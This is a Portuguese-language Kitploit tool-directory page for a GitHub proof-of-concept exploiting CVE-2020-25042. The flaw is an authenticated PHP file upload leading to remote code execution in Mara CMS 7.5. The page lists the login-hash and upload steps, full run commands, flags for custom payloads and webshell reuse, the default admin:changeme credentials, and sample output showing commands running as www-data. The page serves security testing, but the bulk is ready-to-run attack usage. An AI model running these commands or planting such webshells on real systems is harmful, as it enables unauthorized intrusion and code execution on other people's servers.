Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-25042-PoC — PoC para CVE-2020-25042: upload automatizado de PHP autenticado para RCE no Mara CMS 7.5, com manipulação de hash de login, reutilização de shell, suporte a payload personalizado e saída CLI limpa. | Kitploit
Ferramentas/GitHubGitHub/groppoxx/cve-2020-25042-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubgroppoxx/cve-2020-25042-poc

CVE-2020-25042-PoC

PoC para CVE-2020-25042: upload automatizado de PHP autenticado para RCE no Mara CMS 7.5, com manipulação de hash de login, reutilização de shell, suporte a payload personalizado e saída CLI limpa.

Ver Repositório
54há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-25042-PoC

Prova de conceito para CVE-2020-25042, um problema de upload arbitrário de arquivos autenticado no Mara CMS 7.5 que pode levar à execução remota de código.

O script faz login com uma conta válida de administrador/gerente do Mara CMS, faz upload de um payload PHP através de codebase/handler.php e executa comandos através do arquivo enviado.

Ele também reutiliza um shell existente quando possível, para que você não crie um novo arquivo PHP a cada execução.

O que ele faz

  1. Verifica se o shell esperado já existe e é reutilizável.
  2. Se reutilizável, executa o comando diretamente.
  3. Se não reutilizável, carrega uma página do CMS e extrai shash.
  4. Solicita o salt de login com a ação setsalt.
  5. Calcula os hashes de login do Mara CMS.
  6. Autentica como um usuário válido.
  7. Abre o fluxo de upload em codebase/dir.php?type=filenew.
  8. Faz upload de um payload de comando PHP através de codebase/handler.php.
  • Executa --cmd através do shell enviado.
  • Requisitos

    root@kitploit:~
    Python 3.8+
    
    pip install -r requirements.txt
    

    Pacotes Python necessários:

    root@kitploit:~
    requests
    urllib3
    

    Início Rápido

    Valores entre colchetes angulares são espaços reservados. Substitua-os pelos seus próprios valores e não inclua os caracteres < ou >.

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url <MARA_CMS_URL> \
      --username <USERNAME> \
      --password '<PASSWORD>' \
      --cmd whoami
    

    Espaços reservados

    root@kitploit:~
    <MARA_CMS_URL>  # Target Mara CMS base URL. Example: http://target/cms
    <USERNAME>      # Valid Mara CMS admin/manager username.
    <PASSWORD>      # Valid Mara CMS admin/manager password.
    

    Exemplo Completo

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --username admin \
      --password changeme \
      --cmd whoami
    

    Exemplo de saída:

    root@kitploit:~
    [2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
    [2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
    [2026-05-17T23:32:31Z] [+] Found shash: 9552
    [2026-05-17T23:32:31Z] [*] Requesting login salt
    [2026-05-17T23:32:31Z] [+] Got salt: 4253
    [2026-05-17T23:32:31Z] [*] Logging in as admin
    [2026-05-17T23:32:31Z] [+] Login successful: OK:5
    [2026-05-17T23:32:31Z] [*] Opening upload form
    [2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
    [2026-05-17T23:32:32Z] [+] Upload request completed
    [2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
    [2026-05-17T23:32:32Z] [*] Executing command: whoami
    
    [+] Command output
    MARA_CVE_2020_25042_OK
    www-data
    

    Reutilizando um Shell Existente

    Por padrão, o script usa um nome de shell estável:

    root@kitploit:~
    mara-poc.php
    

    Na próxima execução, ele verifica:

    root@kitploit:~
    http://target/cms/img/mara-poc.php
    

    Se o shell responder com o marcador esperado, o script pula o login e o upload:

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --cmd "ls -la"
    

    Para reutilizar um shell criado com um nome aleatório anterior:

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --shell-name mara-poc-jxfizldy.php \
      --cmd whoami
    

    Você também pode passar o caminho exposto do shell diretamente:

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --shell-url-path /cms/img/mara-poc-jxfizldy.php \
      --cmd "ls -la"
    

    Apenas Upload

    Envie o payload sem executar um comando:

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --username admin \
      --password changeme \
      --upload-only
    

    Flags Opcionais

    root@kitploit:~
    --page <PAGE>
       Página CMS existente usada para iniciar o login e extrair shash. Padrão: lorem.php
    
    --shell-name <NAME>
       Nome do arquivo PHP para enviar ou reutilizar. Padrão: mara-poc.php
    
    --shell-url-path <PATH_OR_URL>
       Caminho ou URL explícito do shell para reutilizar.
       Exemplo: /cms/img/mara-poc.php
    
    --payload-file <FILE>
       Envie um payload PHP personalizado em vez do shell padrão ?cmd=.
    
    --destdir <DIR>
       Valor raw destdir enviado no formulário de upload. O padrão faz o Mara CMS usar img/.
    
    --force-upload
       Sempre faça login e upload, mesmo se um shell reutilizável já existir.
    
    --upload-only
       Faça upload do payload, mas não execute --cmd.
    
    --only-final
       Oculte logs de progresso e exiba apenas a saída do comando.
    
    --no-color
       Desative as cores ANSI.
    
    --debug
       Exiba URLs de requisição e trechos curtos de resposta do handler.
    

    Notas

    • O exploit requer uma sessão autenticada válida de administrador ou gerente do Mara CMS.
    • As credenciais padrão do Mara CMS podem ser admin:changeme em instalações de teste não modificadas.
    • O payload padrão imprime MARA_CVE_2020_25042_OK antes da saída do comando.
    • O local de upload padrão observado no Mara CMS 7.5 é img/.
    • Utilize a reutilização de shell sempre que possível para evitar deixar muitos arquivos PHP no alvo.
    • Use --force-upload apenas quando precisar sobrescrever ou recriar o payload.

    Legal

    Esta PoC é destinada a testes de segurança autorizados, ambientes de laboratório e verificação de vulnerabilidades. Não a utilize contra sistemas sem permissão explícita.

    Baixar ferramenta